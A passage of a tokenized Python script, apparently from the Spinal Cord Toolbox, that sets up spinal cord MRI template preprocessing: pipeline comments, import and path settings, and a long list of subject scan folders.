"2te", "mp", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "18.", " ", "Us", "e", " ", "sct", "\\u", "averag", "e\\u", "level", "s", " ", "to", " ", "calcul", "ate", " ", "the", " ", "mean", " ", "landmarks", " ", "for", " ", "vert", "ebra", "l", " ", "level", "s", " ", "in", " ", "the", " ", "template", " ", "space", ".", " ", "Thi", "s", " ", "scripts", " ", "take", " ", "the", " ", "folder", " ", "contain", "ing", " ", "all", " ", "the", " ", "mask", "s", " ", "created", " ", "in", " ", "previ", "ous", " ", "step", " ", "and", " ", "for", " ", "a", " ", "give", "n", " ", "landmark", " ", "it", " ", "averages", " ", "values", " ", "acro", "ss", " ", "all", " ", "subject", "s", " ", "and", " ", "put", " ", "a", " ", "landmark", " ", "at", " ", "this", " ", "averaged", " ", "value", ".", " ", "You", " ", "only", " ", "have", " ", "to", " ", "do", " ", "this", " ", "onc", "e", " ", "for", " ", "a", " ", "give", "n", " ", "preproc", "essi", "ng", " ", "process", ".", " ", "If", " ", "you", " ", "change", " ", "the", " ", "preproc", "essi", "ng", " ", "or", " ", "if", " ", "you", " ", "add", " ", "subject", "s", " ", "you", " ", "have", " ", "2", " ", "choice", "s", " ", ":", " ", "assume", " ", "tha", "t", " ", "it", " ", "will", " ", "not", " ", "change", " ", "the", " ", "averag", "e", " ", "too", " ", "muc", "h", " ", "and", " ", "use", " ", "the", " ", "previ", "ous", " ", "mask", ",", " ", "or", " ", "generat", "e", " ", "a", " ", "new", " ", "one", ".", " ", "(", "``", "sct", "\\u", "averag", "e\\u", "level", "s", ")", " ", "(", "output", ":", " ", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "19.", " ", "Us", "e", " ", "sct", "\\u", "align", "\\u", "vert", "ebra", "e", " ", "-", "t", " ", "Sy", "N", " ", "(", "transformation", ")", " ", "-", "w", " ", "spline", " ", "(", "interpolati", "on", ")", " ", "to", " ", "align", " ", "the", " ", "vert", "ebra", "e", " ", "usi", "ng", " ", "transformation", " ", "along", " ", "Z", " ", "(", "``", "sct", "\\u", "align", "\\u", "vert", "ebra", "e", " ", "-", "t", " ", "Sy", "N", " ", "-", "w", " ", "sline", " ", "-", "R", " ", "template", "\\u", "landmarks", ".", "ni", "i", ".", "gz", ")(", "output", ":", " ", "<", "subject", ">\\u", "aligned", "\\u", "normali", "zed", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "201", "5", " ", "Neu", "ro", "Poly", ",", " ", "Poly", "technique", " ", "Mont", "real", " ", "<", "www", ".", "neuro", ".", "poly", "mt", "l", ".", "ca", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", "s", ":", " ", "Tang", "uy", " ", "Magn", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Modifie", "d", ":", " ", "201", "5", "-0", "7", "-", "23_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "see", " ", "the", " ", "LICENSE", ".", "TXT", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "=======", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "sys_", ",_", "commands_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "path", " ", "of", " ", "the", " ", "toolbox_", "\\u\\u\\uNL\\u\\u\\u_", "status_", ",_", "path", "\\u", "sct", "_", "=_", "commands_", "._", "getstatus", "output_", "(_", "'", "echo", " ", "$", "SC", "T", "\\u", "DIR", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Append", " ", "path", " ", "tha", "t", " ", "contain", "s", " ", "scripts", ",", " ", "to", " ", "be", " ", "able", " ", "to", " ", "load", " ", "modules_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "path_", "._", "append_", "(_", "path", "\\u", "sct", "_", "+_", "'/", "scripts", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sct", "\\u", "utils_", "as_", "sct", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "nib", "abel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "import_", "ndimage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "import_", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "path", " ", "to", " ", "scripts_", "\\u\\u\\uNL\\u\\u\\u_", "PATH", "\\u", "INFO_", "=_", "'/", "User", "s", "/", "ben", "jam", "indel", "een", "er", "/", "data", "/", "template", "\\u", "preproc", "essi", "ng", "'_", "#", " ", "correspond", "s", " ", "to", " ", "the", " ", "variab", "le", " ", "'", "path", "\\u", "results", "'", " ", "in", " ", "file", " ", "preproc", "ess", "\\u", "data\\u", "template", ".", "py_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH", "\\u", "OUTPUT_", "=_", "'/", "User", "s", "/", "ben", "jam", "indel", "een", "er", "/", "data", "/", "template", "\\u", "preproc", "essi", "ng", "\\u", "final", "'_", "#", " ", "folder", " ", "where", " ", "you", " ", "want", " ", "the", " ", "results", " ", "to", " ", "be", " ", "stored_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "folder", " ", "to", " ", "dataset_", "\\u\\u\\uNL\\u\\u\\u_", "folder", "\\u", "data\\u", "err", "sm_", "=_", "'/", "Volume", "s", "/", "data\\u", "shared", "/", "mont", "real", "\\u", "cri", "ug", "m", "/", "err", "sm", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "\\u", "data\\u", "sct", "_", "=_", "'/", "Volume", "s", "/", "data\\u", "shared", "/", "mont", "real", "\\u", "cri", "ug", "m", "/", "sct", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "=_", "'/", "Volume", "s", "/", "data\\u", "shared", "/", "mars", "eil", "le", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "\\u", "data\\u", "pain", "_", "=_", "'/", "Volume", "s", "/", "data\\u", "shared", "/", "mont", "real", "\\u", "cri", "ug", "m", "/", "sim", "on", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", "d", " ", "bec", "aus", "e", " ", "movement", " ", "arte", "fact", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "['", "err", "sm", "\\u", "2", "2", "',", " ", "folder", "\\u", "data\\u", "err", "sm", "+'", "/", "err", "sm", "\\u", "2", "2", "/", "2", "9", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "',", " ", "folder", "\\u", "data\\u", "err", "sm", "+'", "/", "err", "sm", "\\u", "2", "2", "/", "25", "-", "SPIN", "E", "\\u", "T2", "']", ",\\\\", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", "d", " ", "bec", "aus", "e", " ", "of", " ", "low", " ", "contrast", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "['", "err", "sm", "\\u", "02", "',", " ", "folder", "\\u", "data\\u", "err", "sm", "+'", "/", "err", "sm", "\\u", "02", "/", "2", "2", "-", "SPIN", "E", "\\u", "T1", "',", " ", "folder", "\\u", "data\\u", "err", "sm", "+'", "/", "err", "sm", "\\u", "02", "/", "2", "8", "-", "SPIN", "E", "\\u", "T2", "']", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", "d", " ", "bec", "aus", "e", " ", "of", " ", "stit", "chin", "g", " ", "issue_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "['", "TM", "',", " ", "folder", "\\u", "data\\u", "mars", "eil", "le", "+'", "/", "TM", "\\u", "T", "057", "c", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "',", " ", "folder", "\\u", "data\\u", "mars", "eil", "le", "+'", "/", "TM", "\\u", "T", "057", "c", "/", "01", "\\u", "010", "5", "\\u", "t2", "-", "composi", "ng", "']", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "defin", "e", " ", "subject_", "\\u\\u\\uNL\\u\\u\\u_", "SUBJECT", "S", "\\u", "LIST_", "=_", "[_", "[_", "'", "err", "sm", "\\u", "3", "3", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "3", "/", "30", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "3", "/", "3", "1", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "04", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "04", "/", "16", "-", "SPIN", "E", "\\u", "memp", "rage", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "04", "/", "1", "8", "-", "SPIN", "E", "\\u", "space", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "05", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "05", "/", "23", "-", "SPIN", "E", "\\u", "MEM", "PRA", "GE", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "05", "/", "24", "-", "SPIN", "E", "\\u", "SPACE", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "09", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "09", "/", "3", "4", "-", "SPIN", "E", "\\u", "MEM", "PRA", "GE", "2", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "09", "/", "3", "3", "-", "SPIN", "E", "\\u", "SPACE", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "10", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "10", "/", "13", "-", "SPIN", "E", "\\u", "MEM", "PRA", "GE", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "10", "/", "20", "-", "SPIN", "E", "\\u", "SPACE", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "1", "2", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "2", "/", "1", "9", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "2", "/", "1", "8", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "13", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "13", "/", "3", "3", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "13", "/", "3", "4", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "14", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "14", "/", "500", "2", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "14", "/", "500", "3", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "16", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "16", "/", "23", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "16", "/", "3", "9", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "1", "7", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "7", "/", "4", "1", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "7", "/", "4", "2", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "1", "8", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "8", "/", "3", "6", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "1", "8", "/", "3", "3", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "11", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "11", "/", "24", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "11", "/", "09", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "21", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "21", "/", "2", "7", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "21", "/", "30", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "23", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "23", "/", "2", "9", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "23", "/", "2", "8", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "24", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "24", "/", "20", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "24", "/", "24", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "25", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "25", "/", "25", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "25", "/", "2", "6", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "30", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "30", "/", "5", "1", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "30", "/", "50", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "1", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "1", "/", "3", "1", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "1", "/", "32", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "32", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "32", "/", "16", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", " ", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "32", "/", "1", "9", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "3", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "3", "/", "30", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "3", "/", "3", "1", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "sct", "\\u", "001", "'_", ",_", "folder", "\\u", "data\\u", "sct", "_", "+_", "'/", "sct", "\\u", "001", "/", "1", "7", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "sct", "_", "+_", "'/", "sct", "\\u", "001", "/", "16", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "sct", "\\u", "002", "'_", ",_", "folder", "\\u", "data\\u", "sct", "_", "+_", "'/", "sct", "\\u", "002", "/", "1", "2", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "sct", "_", "+_", "'/", "sct", "\\u", "002", "/", "1", "8", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "ED", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ED", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-1", "01", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ED", "/", "01", "\\u", "0008", "\\u", "sc", "-", "tse", "-", "spc", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "256", "-", "nop", "at", "-", "comp", "-", "sp", "-", "6", "5", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "ALT", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ALT", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-1", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ALT", "/", "01", "\\u", "0100", "\\u", "space", "-", "composi", "ng", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "JD", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "JD", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "23", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "JD", "/", "01", "\\u", "0100", "\\u", "compo", "-", "space", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "JW", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "JW", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "JW", "/", "01", "\\u", "0100", "\\u", "compo", "-", "space", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "ML", "L", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ML", "L", "\\u", "1016", "/", "01", "\\u", "0008", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "7", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "ML", "L", "\\u", "1016", "/", "01", "\\u", "0100", "\\u", "t2", "-", "compo", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "MT", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "MT", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "MT", "/", "01", "\\u", "0100", "\\u", "t2", "composi", "ng", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "T", "045", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "T", "045", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "T", "045", "/", "01", "\\u", "0101", "\\u", "t2", "-", "3d", "-", "composi", "ng", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "T", "047", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "T", "047", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "T", "047", "/", "01", "\\u", "0100", "\\u", "t2", "-", "3d", "-", "composi", "ng", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "VC", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VC", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "23", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VC", "/", "01", "\\u", "0008", "\\u", "sc", "-", "tse", "-", "spc", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "256", "-", "nop", "at", "-", "comp", "-", "sp", "-1", "13", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "VG", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VG", "/", "T1", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-1", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VG", "/", "T2", "/", "01", "\\u", "002", "4", "\\u", "sc", "-", "tse", "-", "spc", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "256", "-", "nop", "at", "-", "comp", "-", "sp", "-1", "1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "VP", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VP", "/", "01", "\\u", "0011", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "25", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "VP", "/", "01", "\\u", "0100", "\\u", "space", "-", "compo", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "pain", "\\u", "pilot", "\\u", "1", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "1", "/", "24", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "1", "/", "25", "-", "SPIN", "E", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "pain", "\\u", "pilot", "\\u", "2", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "2", "/", "13", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "2", "/", "30", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "pain", "\\u", "pilot", "\\u", "4", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "4", "/", "3", "3", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "4", "/", "32", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "20", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "20", "/", "1", "2", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "20", "/", "3", "4", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "pain", "\\u", "pilot", "\\u", "3", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "3", "/", "16", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "3", "/", "3", "1", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "4", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "4", "/", "4", "1", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "4", "/", "40", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "5", "'_", ",_", "folder", "\\u", 